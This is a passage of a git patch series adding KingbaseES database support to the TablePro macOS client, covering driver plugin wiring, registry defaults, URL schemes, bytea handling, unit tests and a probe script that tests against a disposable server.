snowflake case .trino, .presto: trino - default: [] + default: SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres ? postgreSQL : [] } } diff --git a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift index a60c1dcb85..15882e758d 100644 --- a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift +++ b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift @@ -232,9 +232,10 @@ internal struct SQLRowToStatementConverter { for byte in data { hex += String(format: "%02X", byte) } - switch databaseType { - case .postgresql, .redshift, .cockroachdb: + if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return "'\\x\(hex)'::bytea" + } + switch databaseType { case .mssql: return "0x\(hex)" default: diff --git a/apple/TablePro/Models/Connection/DatabaseType.swift b/apple/TablePro/Models/Connection/DatabaseType.swift index 54359866a6..bce99781a3 100644 --- a/apple/TablePro/Models/Connection/DatabaseType.swift +++ b/apple/TablePro/Models/Connection/DatabaseType.swift @@ -26,6 +26,7 @@ extension DatabaseType { static let pglite = DatabaseType(rawValue: "PGlite") // Registry-distributed types (known plugins, downloadable separately) + static let kingbasees = DatabaseType(rawValue: "KingbaseES") static let mongodb = DatabaseType(rawValue: "MongoDB") static let redis = DatabaseType(rawValue: "Redis") static let mssql = DatabaseType(rawValue: "SQL Server") diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index adfb8a9735..c1bf65c8b4 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -1,6 +1,10 @@ { "sourceLanguage" : "en", "strings" : { + "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "" : { "localizations" : { "ko" : { diff --git a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift index 108e8c9e2e..92b6b47d6a 100644 --- a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift +++ b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift @@ -20,7 +20,7 @@ extension AIChatViewModel { let wanted = pendingConversationToRestore Task.detached(priority: .utility) { [weak self] in let loaded = await storage.loadAll(connectionId: connectionId) - await MainActor.run { + await MainActor.run { [weak self] in guard let self else { return } self.conversations = loaded guard self.messages.isEmpty else { return } diff --git a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift index 8cfa367965..bff6993a6a 100644 --- a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift +++ b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift @@ -43,8 +43,10 @@ internal final class TreeOutlineView: SidebarOutlineView { override internal func viewDidMoveToWindow() { super.viewDidMoveToWindow() responderObservation = window?.observe(\.firstResponder, options: [.new]) { [weak self] _, _ in - MainActor.assumeIsolated { self?.reapplyRowEmphasis() } - Task { @MainActor [weak self] in self?.reapplyRowEmphasis() } + MainActor.assumeIsolated { [weak self] in + self?.reapplyRowEmphasis() + Task { @MainActor [weak self] in self?.reapplyRowEmphasis() } + } } } diff --git a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift index 3df470a03e..49c4676102 100644 --- a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift +++ b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift @@ -48,7 +48,7 @@ struct CompareSQLLiteralTests { @Test func postgresFamilyUsesAByteaCast() throws { - for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite] { + for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite, .kingbasees] { let literal = try #require(CompareSQLLiteral.binaryLiteral(for: png, databaseType: type)) #expect(literal == "'\\x89504e47'::bytea", "\(type.rawValue) uses a bytea literal") } diff --git a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift index a07120e9b3..5e78070475 100644 --- a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift +++ b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift @@ -93,4 +93,10 @@ struct ImportTypeMapperTests { #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .clickhouse) == "INTEGER") #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .clickhouse) == "BOOLEAN") } + @Test("KingbaseES imports keep 64-bit integers and native JSON") + func kingbaseImportTypes() { + #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .kingbasees) == "BIGINT") + #expect(ImportTypeMapper.sqlType(for: .json, databaseType: .kingbasees, serverVersion: "12.1") == "JSONB") + #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .kingbasees) == "BOOLEAN") + } } diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift new file mode 100644 index 0000000000..a0ea754c9d --- /dev/null +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift @@ -0,0 +1,23 @@ +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct PluginMetadataRegistryKingbaseESTests { + @Test("KingbaseES is offered before installation and resolves to its own registry plugin") + func registryIdentity() throws { + let registry = PluginMetadataRegistry.shared + #expect(registry.allRegisteredTypeIds().contains("KingbaseES")) + #expect(registry.pluginTypeId(for: "KingbaseES") == "KingbaseES") + #expect(DatabaseType.kingbasees.isDownloadablePlugin) + let snapshot = try #require(registry.snapshot(forRegisteredTypeId: "KingbaseES")) + #expect(snapshot.displayName == "KingbaseES") + #expect(snapshot.defaultPort == 54_321) + #expect(snapshot.urlSchemes == ["kingbase", "kingbase8"]) + #expect(snapshot.parameterStyle == .dollar) + #expect(snapshot.schema.systemSchemaNames.contains("sys_catalog")) + #expect(snapshot.capabilities.supportsSchemaSwitching) + #expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"]) + } +} diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift index dcbe133766..ab35bb55f5 100644 --- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift @@ -7,7 +7,7 @@ import Testing struct PluginMetadataRegistryTypeCountTests { private static let expectedTypeIds: Set = [ "Beancount", "BigQuery", "Cassandra", "ClickHouse", "Cloudflare D1", "Cloudflare R2 SQL", - "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", + "KingbaseES", "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", "libSQL", "MariaDB", "MongoDB", "MySQL", "Oracle", "PGlite", "PostgreSQL", "Redis", "Redshift", "SAP HANA", "ScyllaDB", "Snowflake", "Spanner", "SQL Server", "SQLite", "SurrealDB", "Teradata", "TiDB", "Trino", "Presto", "Turso", "Typesense", "Weaviate", "OceanBase", "Firestore", "Firebase Realtime Database", "Bigtable" diff --git a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift index e17903608b..1fcce57971 100644 --- a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift +++ b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift @@ -141,4 +141,10 @@ struct CellExpressionVocabularyTests { func updateTakesDefault(databaseType: DatabaseType, expected: Bool) { #expect(CellExpressionVocabulary.updateTakesDefault(databaseType) == expected) } + @Test("KingbaseES offers the expressions of its PostgreSQL dialect") + func kingbaseExpressions() { + #expect(Self.sql(.kingbasees, .timestamp(rawType: "TIMESTAMP")) + == Self.sql(.postgresql, .timestamp(rawType: "TIMESTAMP"))) + #expect(CellExpressionVocabulary.isCanonical("now()", for: .kingbasees)) + } } diff --git a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift index e2556d9288..cd228d6da4 100644 --- a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift +++ b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift @@ -633,4 +633,18 @@ struct SQLRowToStatementConverterTests { ) #expect(converter.generateUpdates(rows: plain([["a", "x"]])) == "UPDATE [Enterprise_App_Approved] SET [Shape] = N'x' WHERE [code] = N'a';") } + @Test("KingbaseES copies binary INSERT and UPDATE values as bytea, including empty bytes") + func kingbaseBinaryStatements() throws { + let converter = try makeConverter( + tableName: "documents", columns: ["id", "payload"], + databaseType: .kingbasees, dialect: Self.postgresDialect + ) + for data in [Data(), Data([0x00, 0xFF])] { + let rows = plain([[.text("1"), .bytes(data)]]) + let hex = data.map { String(format: "%02X", $0) }.joined() + #expect(converter.generateInserts(rows: rows).contains("'\\x\(hex)'::bytea")) + #expect(converter.generateUpdates(rows: rows).contains("'\\x\(hex)'::bytea")) + } + } + } diff --git a/apple/project.yml b/apple/project.yml index 3e4a737bbe..df769c7e51 100644 --- a/apple/project.yml +++ b/apple/project.yml @@ -1065,6 +1065,17 @@ targets: - package: swift-nio-ssl product: NIOSSL + KingbaseESDriverPlugin: + templates: [DriverPlugin, PostgreSQLLinkage] + templateAttributes: + folder: KingbaseESDriverPlugin + principalClass: KingbaseESPlugin + sources: + - path: Plugins/PostgreSQLDriverPlugin + excludes: + - Info.plist + - README.md + LibSQLDriverPlugin: templates: [DriverPlugin] templateAttributes: @@ -1285,6 +1296,7 @@ aggregateTargets: - FirebaseDriverPlugin - HanaDriver - KafkaDriverPlugin + - KingbaseESDriverPlugin - LibSQLDriverPlugin - MSSQLDriver - MongoDBDriver diff --git a/apple/scripts/probes/check-column-type-corpus.sh b/apple/scripts/probes/check-column-type-corpus.sh index 7f7eff47b7..52c5d4f82e 100755 --- a/apple/scripts/probes/check-column-type-corpus.sh +++ b/apple/scripts/probes/check-column-type-corpus.sh @@ -64,8 +64,8 @@ READY=() case "$ENGINE" in postgresql) FOLDER=PostgreSQLDriverPlugin CLASS=PostgreSQLPlugin C_MODULE=CLibPQ - PRODUCTS="TableProLogRedaction TableProPostgreSQLCore" - LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz" + PRODUCTS="TableProCoreTypes TableProKerberos TableProLogRedaction TableProPostgreSQLCore TableProSQLVocabulary" + LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz -framework GSS -lcom_err" IMAGE=postgres:17-alpine PORT_IN=5432 PORT=15467 USER_DEFAULT=postgres DATABASE_DEFAULT=postgres DOCKER_ENV=(-e "POSTGRES_PASSWORD=$PASSWORD_DEFAULT") READY=(pg_isready -h 127.0.0.1 -U postgres) diff --git a/apple/scripts/probes/check-kingbasees.sh b/apple/scripts/probes/check-kingbasees.sh new file mode 100755 index 0000000000..90be45414b --- /dev/null +++ b/apple/scripts/probes/check-kingbasees.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash +# Build the actual registry driver and probe an existing, disposable KingbaseES server. +# TP_KINGBASE_{HOST,PORT,USER,PASSWORD,DATABASE} select the server. No server is started. +# TP_KINGBASE_BUILD_DIR preserves build artifacts; otherwise they are removed on exit. +set -euo pipefail +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +WORK="${TP_KINGBASE_BUILD_DIR:-}" +if [ -z "$WORK" ]; then + WORK="$(mktemp -d)" + trap 'rm -rf "$WORK"' EXIT +fi +mkdir -p "$WORK/Sources/Probe" +SOURCES="$WORK/Sources/Probe" +rm -f "$SOURCES"/*.swift "$WORK/CModule" +for folder in PostgreSQLDriverPlugin KingbaseESDriverPlugin; do + for source in "$ROOT/Plugins/$folder"/*.swift; do + ln -s "$source" "$SOURCES/${folder}_$(basename "$source")" + done +done +for shared in PluginConnectTimeout PluginQueryTimeout; do + ln -s "$ROOT/Plugins/Shared/$shared.swift" "$SOURCES/$shared.swift" +done +ln -s "$ROOT/scripts/probes/kingbasees-probe.swift" "$SOURCES/Probe.swift" +ln -s "$ROOT/Plugins/PostgreSQLDriverPlugin/CLibPQ" "$WORK/CModule" +cat > "$WORK/Package.swift" < "$WORK/build.log" 2>&1); then + tail -60 "$WORK/build.log" >&2 + exit 3 +fi +TZ=UTC "$WORK/.build/debug/Probe" diff --git a/apple/scripts/probes/kingbasees-probe.swift b/apple/scripts/probes/kingbasees-probe.swift new file mode 100644 index 0000000000..9d21ce75e2 --- /dev/null +++ b/apple/scripts/probes/kingbasees-probe.swift @@ -0,0 +1,225 @@ +import Foundation +import TableProCoreTypes +import TableProModels +import TableProPluginKit +import TableProQuery +import TableProSQLGrammar + +@main +struct KingbaseESProbe { + var passed = 0 + var failed = 0 + + mutating func check(_ name: String, _ body: () async throws -> Bool) async { + do { + guard try await body() else { + failed += 1 + print("FAIL \(name): unexpected result") + return + } + passed += 1 + print("PASS \(name)") + } catch { + failed += 1 + print("FAIL \(name): \(error)") + } + } + + static func main() async { + var probe = Self() + await probe.run() + print("\(probe.passed) passed, \(probe.failed) failed") + exit(probe.failed == 0 ? 0 : 1) + } + + static func generatedFiltersMatch(driver: any PluginDatabaseDriver, table: String) async throws -> Bool { + guard let dialect = KingbaseESPlugin.sqlDialect else { return false } + let generator = FilterSQLGenerator( + dialect: dialect, databaseType: DatabaseType(rawValue: "KingbaseES") + ) + let columns = [ + ColumnInfo(name: "flag", typeName: "bool"), + ColumnInfo(name: "amount", typeName: "numeric(12,2)") + ] + let clause = generator.generateWhereClause( + from: [ + TableFilter(columnName: "flag", value: "1"), + TableFilter(columnName: "amount", value: "1234.50") + ], logicMode: .and, columns: columns + ) + print("Generated filter: \(clause)") + guard clause == "WHERE \"flag\" = '1' AND \"amount\" = '1234.50'" else { return false } + return try await driver.execute(query: "SELECT id FROM \(table) \(clause)").rows == [[.text("1")]] + } + + static func bigintMatches(driver: any PluginDatabaseDriver) async throws -> Bool { + let result = try await driver.executeUserQuery( + query: "SELECT $1::bigint AS imported_integer", rowCap: nil, + parameters: [.text("2147483648")] + ) + return result.rows == [[.text("2147483648")]] + } + + mutating func run() async { + let env = ProcessInfo.processInfo.environment + let database = env["TP_KINGBASE_DATABASE"] ?? "test" + let config = DriverConnectionConfig( + host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1", + port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432, + username: env["TP_KINGBASE_USER"] ?? "system", + password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database + ) + let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config) + defer { driver.disconnect() } + do { try await driver.connect() } catch { + failed += 1 + print("FAIL connect: \(error)") + return + } + let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText + await check("session facts through protocol witness") { + let result = try await driver.execute(query: "SELECT current_setting('database_mode')") + let mode = result.rows.first?.first?.asText + print("KingbaseES mode=\(mode ?? "unknown"), version=\(driver.serverVersion ?? "unknown")") + guard let facts = driver.sessionLexicalState else { return false } + return facts.determined.contains(.alternativeQuoting) + && facts.enabled.contains(.alternativeQuoting) == (mode == "oracle") + } + await check("mode-aware grammar splits and executes quoted semicolons") { + guard let facts = driver.sessionLexicalState else { return false } + let readings = SQLLexicalReadings.resolve( + databaseTypeId: "KingbaseES", declared: nil, + session: SQLSessionLexicalFacts( + determined: SQLLexicalGrammar(rawValue: facts.determined.rawValue), + enabled: SQLLexicalGrammar(rawValue: facts.enabled.rawValue) + ) + ) + let sql = mode == "oracle" + ? "SELECT q'[a;b]' AS value; SELECT $tag$c;d$tag$ AS value;" + : "SELECT $tag$a;b$tag$ AS value; SELECT $tag$c;d$tag$ AS value;" + let statements = SQLStatementScanner.executableStatements(in: sql, grammar: readings.execution) + guard statements.count == 2 else { return false } + for (index, statement) in statements.enumerated() { + let result = try await driver.execute(query: statement.sql) + guard result.rows.first?.first == .text(index == 0 ? "a;b" : "c;d") else { return false } + } + return true + } + await check("database catalog") { try await driver.fetchDatabases().contains(database) } + let schema = "tp_probe_" + UUID().uuidString.replacingOccurrences(of: "-", with: "").lowercased() + let table = "\(schema).sample" + do { + try await driver.beginTransaction() + _ = try await driver.execute(query: "CREATE SCHEMA \(schema)") + _ = try await driver.execute(query: "CREATE TYPE \(schema).mood AS ENUM ('ok', 'bad')") + _ = try await driver.execute(query: "CREATE TABLE \(schema).parent (id integer PRIMARY KEY)") + _ = try await driver.execute(query: "CREATE TABLE \(table) (id integer PRIMARY KEY, parent_id integer REFERENCES \(schema).parent(id), flag boolean, payload bytea, title text COLLATE \"C\", amount numeric(12,2), missing text, doubled integer GENERATED ALWAYS AS (id * 2) STORED)") + _ = try await driver.execute(query: "CREATE INDEX sample_title_idx ON \(table)(title)") + _ = try await driver.execute(query: "CREATE FUNCTION \(schema).answer() RETURNS integer LANGUAGE SQL AS 'SELECT 42'") + await check("schema catalog") { try await driver.fetchSchemas().contains(schema) } + await check("table catalog") { try await driver.fetchTables(schema: schema).contains { $0.name == "sample" } } + await check("column catalog and generated column") { + let columns = try await driver.fetchColumns(table: "sample", schema: schema) + return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated } + } + await check("index catalog") { try await driver.fetchIndexes(table: "sample", schema: schema).count >= 2 } + await check("foreign key catalog") { try await driver.fetchForeignKeys(table: "sample", schema: schema).count == 1 } + await check("routine catalog and DDL") { + let routines = try await driver.fetchRoutines(schema: schema) + guard let routine = routines.first(where: { $0.name == "answer" }) else { return false } + return try await driver.fetchRoutineDDL(routine).contains("42") + } + await check("type catalog and definition") { + let types = try await driver.fetchUserDefinedTypes(schema: schema) + guard let mood = types.first(where: { $0.name == "mood" }) else { return false } + return try await driver.fetchUserDefinedType(mood).name == "mood" + } + await check("table DDL") { + let ddl = try await driver.fetchTableDDL(table: "sample", schema: schema) + print("Table DDL: \(ddl)") + guard ddl.contains("CREATE TABLE"), ddl.contains("GENERATED ALWAYS"), + ddl.contains("COLLATE ") else { return false } + let replay = ddl.replacingOccurrences(of: "\"sample\"", with: "\"replay\"") + _ = try await driver.execute(query: "SAVEPOINT ddl_replay") + do { + _ = try await driver.execute(query: replay) + let columns = try await driver.fetchColumns(table: "replay", schema: schema) + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay") + return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated } + } catch { + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay") + throw error + } + } + await check("parameterized insert and values") { + _ = try await driver.executeUserQuery( + query: "INSERT INTO \(table)(id,flag,payload,title,amount,missing) VALUES (1,$1::boolean,$2::bytea,$3,$4::numeric,$5)", + rowCap: nil, parameters: [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null] + ) + let result = try await driver.execute(query: "SELECT flag,payload,title,amount,missing,doubled FROM \(table)") + return result.rows.first == [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null, .text("2")] + } + await check("generated boolean and numeric filters") { + try await Self.generatedFiltersMatch(driver: driver, table: table) + } + await check("parameterized bigint beyond Int32 range") { + try await Self.bigintMatches(driver: driver) + } + await check("parameterized update and empty bytea") { + _ = try await driver.executeUserQuery(query: "UPDATE \(table) SET payload=$1::bytea WHERE id=1", rowCap: nil, parameters: [.bytes(Data())]) + let result = try await driver.execute(query: "SELECT payload, octet_length(payload) FROM \(table)") + return mode == "oracle" ? result.rows.first == [.null, .null] + : result.rows.first == [.bytes(Data()), .text("0")] + } + await check("savepoint rollback") { + _ = try await driver.execute(query: "SAVEPOINT probe_save") + _ = try await driver.execute(query: "DELETE FROM \(table)") + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT probe_save") + return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("1") + } + await check("delete") { + _ = try await driver.execute(query: "DELETE FROM \(table)") + return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("0") + } + } catch { + failed += 1 + print("FAIL fixture: \(error)") + } + await check("rollback removes all test objects") { + try await driver.rollbackTransaction() + return try await !driver.fetchSchemas().contains(schema) + } + await check("reconnect") { + driver.disconnect() + try await driver.connect() + try await driver.ping() + return true + } + await check("cancellation after server reports active query") { + let observer = KingbaseESPlugin().createDriver(config: config) + try await observer.connect() + defer { observer.disconnect() } + guard let pid = try await driver.execute(query: "SELECT pg_backend_pid()").rows.first?.first?.asText + else { return false } + let query = Task { try await driver.execute(query: "SELECT pg_sleep(30)") } + let deadline = ContinuousClock.now.advanced(by: .seconds(10)) + var active = false + while ContinuousClock.now < deadline { + let result = try await observer.execute(query: "SELECT state, query FROM pg_stat_activity WHERE pid=\(pid)") + if let row = result.rows.first, row[0].asText == "active", row[1].asText?.contains("pg_sleep") == true { + active = true + break + } + await Task.yield() + } + try driver.cancelQuery() + do { _ = try await query.value; return false } catch { + print("Cancellation active=\(active), error=\(error), SQLSTATE=\((error as? any PluginDriverError)?.pluginSqlState ?? "none")") + guard active, error is CancellationError + || (error as? any PluginDriverError)?.pluginSqlState == "57014" else { return false } + try await driver.ping() + return true + } + } + } +} From c78fb37f1ed62734d5e55a1cb8518957aa69e745 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?= <26674308+J2TeamNNL@users.noreply.github.com> Date: Tue, 27 Oct 2026 09:35:04 +0700 Subject: [PATCH 2/6] docs(changelog): note KingbaseES connections --- apple/changelog.d/3855.added.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 apple/changelog.d/3855.added.md diff --git a/apple/changelog.d/3855.added.md b/apple/changelog.d/3855.added.md new file mode 100644 index 0000000000..90382f2fdf --- /dev/null +++ b/apple/changelog.d/3855.added.md @@ -0,0 +1 @@ +Connect to KingbaseES in PostgreSQL and Oracle compatibility modes with a downloadable driver. From 453b011608473d145faf1f8dcb8ef04d1e02b37c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?= <26674308+J2TeamNNL@users.noreply.github.com> Date: Tue, 27 Oct 2026 09:45:06 +0700 Subject: [PATCH 3/6] fix(kingbasees): register connection URL handlers --- ...ginMetadataRegistry+RegistryDefaults.swift | 24 +++++++++++++------ apple/TablePro/Info.plist | 2 ++ ...luginMetadataRegistryKingbaseESTests.swift | 10 ++++++++ 3 files changed, 29 insertions(+), 7 deletions(-) diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift index 32da9928ee..37bf1b024c 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift @@ -38,7 +38,7 @@ extension PluginMetadataRegistry { etcdCompletions, redisCompletions, redisColumnTypes, d1Dialect, d1ColumnTypes ) = registryDefaultIngredients() - return [ + var defaults: [(typeId: String, snapshot: PluginMetadataSnapshot)] = [ ("MongoDB", PluginMetadataSnapshot( displayName: "MongoDB", iconName: "mongodb-icon", defaultPort: 27_017, requiresAuthentication: false, supportsForeignKeys: false, supportsSchemaEditing: true, @@ -1030,12 +1030,22 @@ extension PluginMetadataRegistry { tagline: String(localized: "Distributed SQLite by Turso") ) )), - ] + tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes) - + duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes) - + cloudPluginDefaults() + elasticsearchPluginDefaults() + surrealDBPluginDefaults() - + kafkaPluginDefaults() + typesensePluginDefaults() + r2SQLPluginDefaults() - + weaviatePluginDefaults() + hanaPluginDefaults() + firebasePluginDefaults() + bigtablePluginDefaults() - + trinoPluginDefaults() + kingbaseESPluginDefaults() + ] + defaults += tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes) + defaults += duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes) + defaults += cloudPluginDefaults() + defaults += elasticsearchPluginDefaults() + defaults += surrealDBPluginDefaults() + defaults += kafkaPluginDefaults() + defaults += typesensePluginDefaults() + defaults += r2SQLPluginDefaults() + defaults += weaviatePluginDefaults() + defaults += hanaPluginDefaults() + defaults += firebasePluginDefaults() + defaults += bigtablePluginDefaults() + defaults += trinoPluginDefaults() + defaults += kingbaseESPluginDefaults() + return defaults } // swiftlint:enable function_body_length } diff --git a/apple/TablePro/Info.plist b/apple/TablePro/Info.plist index 9ac41c6a57..a6ec1fc9d6 100644 --- a/apple/TablePro/Info.plist +++ b/apple/TablePro/Info.plist @@ -581,6 +581,8 @@ postgresql postgres + kingbase + kingbase8 mysql mariadb tidb diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift index a0ea754c9d..ed59495781 100644 --- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift @@ -20,4 +20,14 @@ struct PluginMetadataRegistryKingbaseESTests { #expect(snapshot.capabilities.supportsSchemaSwitching) #expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"]) } + @Test("Both KingbaseES URL schemes keep credentials and route to the dedicated engine", arguments: ["kingbase", "kingbase8"]) + func connectionURLs(scheme: String) throws { + let parsed = try ConnectionURLParser.parse("\(scheme)://system:pass@localhost:55432/test").get() + #expect(parsed.type == .kingbasees) + #expect(parsed.host == "localhost") + #expect(parsed.port == 55_432) + #expect(parsed.database == "test") + #expect(parsed.username == "system") + #expect(parsed.password == "pass") + } } From e8c55660b7e22ccdd5d3b884b66438f803e88324 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?= <26674308+J2TeamNNL@users.noreply.github.com> Date: Tue, 27 Oct 2026 10:46:11 +0700 Subject: [PATCH 4/6] test(kingbasees): classify generated SQL DDL support --- .../Models/Database/SQLDDLFallbackPolicyTests.swift | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift index ad08c61e2a..0496512e5d 100644 --- a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift +++ b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift @@ -13,7 +13,7 @@ struct SQLDDLFallbackPolicyTests { @Test("Engines with SQL DDL keep the generated statement") func sqlEnginesFabricate() { for type in [ - DatabaseType.mysql, .postgresql, .sqlite, .mssql, .oracle, + DatabaseType.mysql, .postgresql, .kingbasees, .sqlite, .mssql, .oracle, .duckdb, .cassandra, .trino, .presto, .teradata, .clickhouse, .bigQuery, .sapHana, ] { #expect(SQLDDLFallbackPolicy.allowsGeneratedDDL(for: type), "\(type.rawValue) should fabricate") @@ -58,7 +58,7 @@ struct SQLDDLFallbackPolicyTests { } private static let fabricatingTypes: Set = [ - .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .sqlite, .redshift, + .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .kingbasees, .sqlite, .redshift, .cockroachdb, .pglite, .mssql, .oracle, .snowflake, .dameng, .clickhouse, .duckdb, .cassandra, .scylladb, .cloudflareD1, .cloudflareR2SQL, .bigQuery, .spanner, .libsql, .turso, .teradata, .trino, .presto, .sapHana, From be6a56d4a7876e9fee83904e7a18898ffab55348 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Tue, 27 Oct 2026 16:35:19 +0700 Subject: [PATCH 5/6] refactor(kingbasees): honor the server's mode on every path and list KingbaseES with PostgreSQL --- .../TableProQuery/FilterColumnKind.swift | 5 +- .../SQLEngineVocabulary.swift | 1 + .../TableProTabular/TabularSorter.swift | 8 +- .../FilterSQLGeneratorTests.swift | 9 -- .../SQLEngineVocabularyTests.swift | 3 +- .../TabularSaveTests.swift | 3 +- .../ClickHouseServerException.swift | 2 +- .../KingbaseESCompatibilityMode.swift | 37 ++++++ .../KingbaseESPlugin.swift | 8 +- .../KingbaseESPluginDriver.swift | 27 ++-- .../PostgreSQLIndexQueries.swift | 18 ++- ...PostgreSQLPluginDriver+ColumnReorder.swift | 4 +- .../PostgreSQLSchemaManagementQueries.swift | 2 +- .../PostgreSQLSchemaQueries.swift | 38 ++++-- .../PostgreSQLCatalogSQLPinTests.swift | 6 +- ...reSQLColumnDDLSequenceCollationTests.swift | 16 ++- .../PostgreSQLColumnQueryTests.swift | 10 +- .../PostgreSQLIndexReplayTests.swift | 8 +- .../RedisDriverPlugin/RedisReply.swift | 2 +- .../SQLiteDriverPlugin/SQLitePlugin.swift | 2 +- .../Core/Autocomplete/CompletionEngine.swift | 7 +- .../Autocomplete/QueryCompletionService.swift | 5 +- .../SQLCompletionProvider+App.swift | 18 +-- .../Autocomplete/SQLCompletionService.swift | 7 +- 